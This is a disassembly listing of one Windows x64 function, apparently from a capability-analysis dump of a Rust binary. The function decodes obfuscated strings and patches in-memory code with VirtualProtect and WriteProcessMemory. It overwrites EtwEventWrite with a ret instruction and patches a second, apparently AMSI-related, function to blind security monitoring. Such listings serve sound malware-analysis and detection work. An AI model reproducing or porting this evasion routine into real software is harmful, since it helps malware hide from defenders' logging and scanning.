Function at 0x140002a00
Capabilities:
Allocate or change rwx memory

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xb8
lea rax, [0x140041e90]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
movabs rax, 0x22d8db141d3f25d2
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rdx, qword [rsp + 0x30]
call fcn.140002480
movabs rcx, 0x9f153ae9744fe797
xor rcx, qword [rax]
movabs rdx, 0x7e082ddf3148df6d
xor rdx, qword [rax + 8]
movabs r8, 0xc9784cac0dcdf0c6
xor r8, qword [rax + 0x10]
movabs r9, 0xaec853afdd58379a
xor r9, qword [rax + 0x18]
movabs r10, 0x17848e2c3301dfd1
xor r10, qword [rax + 0x20]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rdx
mov qword [rsp + 0x80], r8
mov qword [rsp + 0x88], r9
mov qword [rsp + 0x90], r10
lea rax, [rsp + 0x70]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 0x28
lea rax, [rsp + 0x60]
mov qword [rsp + 0xa8], rax
lea rbp, [0x140005010]
mov qword [rsp + 0xb0], rbp
lea rax, [0x140046938]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 2
mov qword [rsp + 0x50], 0
lea r12, [rsp + 0xa8]
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], 1
lea rcx, [rsp + 0x30]
call fcn.1400216a0
lea rax, [0x140043a01]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
movabs rax, 0xd39315d883bc8c7b
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rdx, qword [rsp + 0x30]
call fcn.1400025f0
mov ecx, 0xbda51430
xor ecx, dword [rax]
movzx eax, word [rax + 4]
mov edx, eax
xor dl, 0x81
shr eax, 8
xor al, 0x6f
movzx eax, al
shl rax, 0x28
movzx edx, dl
shl rdx, 0x20
or rdx, rax
mov dword [rsp + 0xa0], ecx
shr rdx, 0x20
mov word [rsp + 0xa4], dx
lea rax, [0x140046423]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
movabs rax, 0xf3b7260617fe5def
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rdx, qword [rsp + 0x30]
call fcn.140002710
mov ecx, 0x80f27b43
xor ecx, dword [rax]
mov dword [rsp + 0x60], ecx
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0x60]
mov r8d, 4
call fcn.140033b00
movabs r13, 0x8000000000000000
cmp qword [rsp + 0x70], r13
jne 0x1400030d6
mov rsi, qword [rsp + 0x78]
mov rdi, qword [rsp + 0x80]
mov rcx, rsi
call sub.kernel32.dll_LoadLibraryA
mov rbx, rax
mov byte [rsi], 0
test rdi, rdi
je 0x140002c22
mov r8d, 1
mov rcx, rsi
mov rdx, rdi
call fcn.1400053e0
lea rax, [0x140044a9a]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
movabs rax, 0x58f48baa272ef22c
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rdx, qword [rsp + 0x30]
call fcn.140002790
movabs rcx, 0xbb417a42047e7fc1
xor rcx, qword [rax]
mov edx, 0x15277886
xor edx, dword [rax + 8]
movzx eax, word [rax + 0xc]
mov r8d, eax
xor r8b, 0x3d
shr eax, 8
xor al, 0x76
mov qword [rsp + 0x60], rcx
mov dword [rsp + 0x68], edx
mov byte [rsp + 0x6c], r8b
mov byte [rsp + 0x6d], al
lea rdi, [rsp + 0x70]
lea rsi, [rsp + 0x60]
mov r8d, 0xe
mov rcx, rdi
mov rdx, rsi
call fcn.140033b00
cmp qword [rsp + 0x70], r13
jne 0x1400030f9
mov r14, qword [rsp + 0x78]
mov r15, qword [rsp + 0x80]
mov rcx, rbx
mov rdx, r14
call sub.kernel32.dll_GetProcAddress
mov rbx, rax
mov byte [r14], 0
test r15, r15
je 0x140002ce8
mov r8d, 1
mov rcx, r14
mov rdx, r15
call fcn.1400053e0
mov dword [rsp + 0x9c], 0
lea r9, [rsp + 0x9c]
mov edx, 6
mov rcx, rbx
mov r8d, 4
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x14000311c
call sub.kernel32.dll_GetCurrentProcess
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0xa0]
mov r9d, 6
mov rcx, rax
mov rdx, rbx
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x1400031b3
mov r8d, dword [rsp + 0x9c]
lea r9, [rsp + 0x9c]
mov edx, 6
mov rcx, rbx
call sub.kernel32.dll_VirtualProtect
lea rax, [0x140041ef7]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
movabs rax, 0x8a052388c7a9ea49
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rdx, qword [rsp + 0x30]
call fcn.140002610
movabs rcx, 0xcebac74975fa118c
xor rcx, qword [rax]
movabs rdx, 0x9d67e2d55c262060
xor rdx, qword [rax + 8]
movabs r8, 0x1f3f31d046933b2b
xor r8, qword [rax + 0x10]
movzx r9d, byte [rax + 0x1a]
movzx eax, word [rax + 0x18]
mov r10d, eax
shr r10d, 8
xor al, 0x12
xor r10b, 0xe7
xor r9b, 0xac
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rdx
mov qword [rsp + 0x80], r8
mov byte [rsp + 0x88], al
mov byte [rsp + 0x89], r10b
mov byte [rsp + 0x8a], r9b
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 0x1b
mov qword [rsp + 0xa8], rsi
mov qword [rsp + 0xb0], rbp
lea rax, [0x140046938]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 2
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], 1
lea rcx, [rsp + 0x30]
call fcn.1400216a0
lea rax, [0x14003b836]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
movabs rax, 0xb4a3b53c3bc99045
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rdx, qword [rsp + 0x30]
call fcn.1400027b0
movabs rcx, 0x253730c25ad88d7
xor rcx, qword [rax]
movzx eax, byte [rax + 8]
xor al, 0xb5
mov qword [rsp + 0x60], rcx
mov byte [rsp + 0x68], al
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0x60]
mov r8d, 9
call fcn.140033b00
cmp qword [rsp + 0x70], r13
jne 0x140003254
mov rsi, qword [rsp + 0x78]
mov rdi, qword [rsp + 0x80]
mov rcx, rsi
call sub.kernel32.dll_LoadLibraryA
test rax, rax
je 0x14000301a
mov r12, rax
lea rax, [0x14004155d]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
movabs rax, 0x5f68529539427815
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rdx, qword [rsp + 0x30]
call fcn.140002590
movabs rcx, 0xfd14582c2a1e91b8
xor rcx, qword [rax]
mov edx, 0xb42d87a4
xor edx, dword [rax + 8]
movzx eax, byte [rax + 0xc]
xor al, 0xc8
mov qword [rsp + 0x60], rcx
mov dword [rsp + 0x68], edx
mov byte [rsp + 0x6c], al
lea r15, [rsp + 0x70]
lea rdx, [rsp + 0x60]
mov r8d, 0xd
mov rcx, r15
call fcn.140033b00
cmp qword [rsp + 0x70], r13
jne 0x140003274
mov r14, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x80]
mov rcx, r12
mov rdx, r14
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x14000304c
mov r12, rax
mov dword [rsp + 0x70], 0
mov byte [rsp + 0x60], 0xc3
call sub.kernel32.dll_GetCurrentProcess
mov qword [rsp + 0x20], r15
mov r8d, 1
mov rcx, rax
mov rdx, r12
mov r9d, 0x40
call sub.kernel32.dll_VirtualProtectEx
test eax, eax
je 0x140003055
call sub.kernel32.dll_GetCurrentProcess
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x60]
mov r9d, 1
mov rcx, rax
mov rdx, r12
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x14000305e
call sub.kernel32.dll_GetCurrentProcess
mov r9d, dword [rsp + 0x70]
mov qword [rsp + 0x20], r15
mov r8d, 1
mov rcx, rax
mov rdx, r12
call sub.kernel32.dll_VirtualProtectEx
mov byte [r14], 0
test rbx, rbx
jne 0x140003097
jmp 0x1400030a8
lea rax, str.Failed_to_load_ntdll.dll_n
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rcx, [rsp + 0x30]
call fcn.1400217b0
jmp 0x1400030a8
lea rax, str.Failed_to_get_address_of_EtwEventWrite_n
jmp 0x140003065
lea rax, str.Failed_to_change_memory_protection_n
jmp 0x140003065
lea rax, str.Failed_to_write_process_memory_n
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rcx, [rsp + 0x30]
call fcn.1400217b0
mov byte [r14], 0
test rbx, rbx
je 0x1400030a8
mov r8d, 1
mov rcx, r14
mov rdx, rbx
call fcn.1400053e0
mov byte [rsi], 0
test rdi, rdi
je 0x1400030c1
mov r8d, 1
mov rcx, rsi
mov rdx, rdi
call fcn.1400053e0
nop
add rsp, 0xb8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
lea rax, str.srchideo.rs
jmp 0x140003292
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
lea rax, str.srchideo.rs
jmp 0x140003292
lea rax, [0x140038de0]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
movabs rax, 0x1c79e5a4aec82821
mov qword [rsp + 0x30], rax
lea rsi, [rsp + 0x30]
mov rdx, qword [rsp + 0x30]
call fcn.1400023d0
movabs rcx, 0x74a7f0a9f69b4e26
xor rcx, qword [rax]
movabs rdx, 0xea56a0dfdce02bf0
xor rdx, qword [rax + 8]
movabs r8, 0x5c4fb5c7f7e6a0d9
xor r8, qword [rax + 0x10]
movabs r9, 0xc8e314c4f417173c
xor r9, qword [rax + 0x18]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x40], r8
mov qword [rsp + 0x48], r9
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], 0x20
lea rcx, [rsp + 0x70]
call fcn.140041090
lea rax, [0x1400373b0]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
movabs rax, 0x3096f20386de63fe
mov qword [rsp + 0x30], rax
lea rsi, [rsp + 0x30]
mov rdx, qword [rsp + 0x30]
call fcn.1400023f0
movabs rcx, 0xcd78bd6ec49482c8
xor rcx, qword [rax]
movabs rdx, 0x2e93975780771084
xor rdx, qword [rax + 8]
movabs r8, 0x27b806a2d352740b
xor r8, qword [rax + 0x10]
movabs r9, 0x969bce5ecae6f794
xor r9, qword [rax + 0x18]
movzx eax, byte [rax + 0x20]
xor al, 0x36
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x40], r8
mov qword [rsp + 0x48], r9
mov byte [rsp + 0x50], al
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], 0x21
lea rcx, [rsp + 0x70]
call fcn.1400410b0
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
lea rax, str.srchideo.rs
jmp 0x140003292
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
lea rax, str.srchideo.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x14004688c]
lea r9, [0x1400468b8]
lea r8, [rsp + 0x30]
mov edx, 0x2b
call fcn.140045230
int3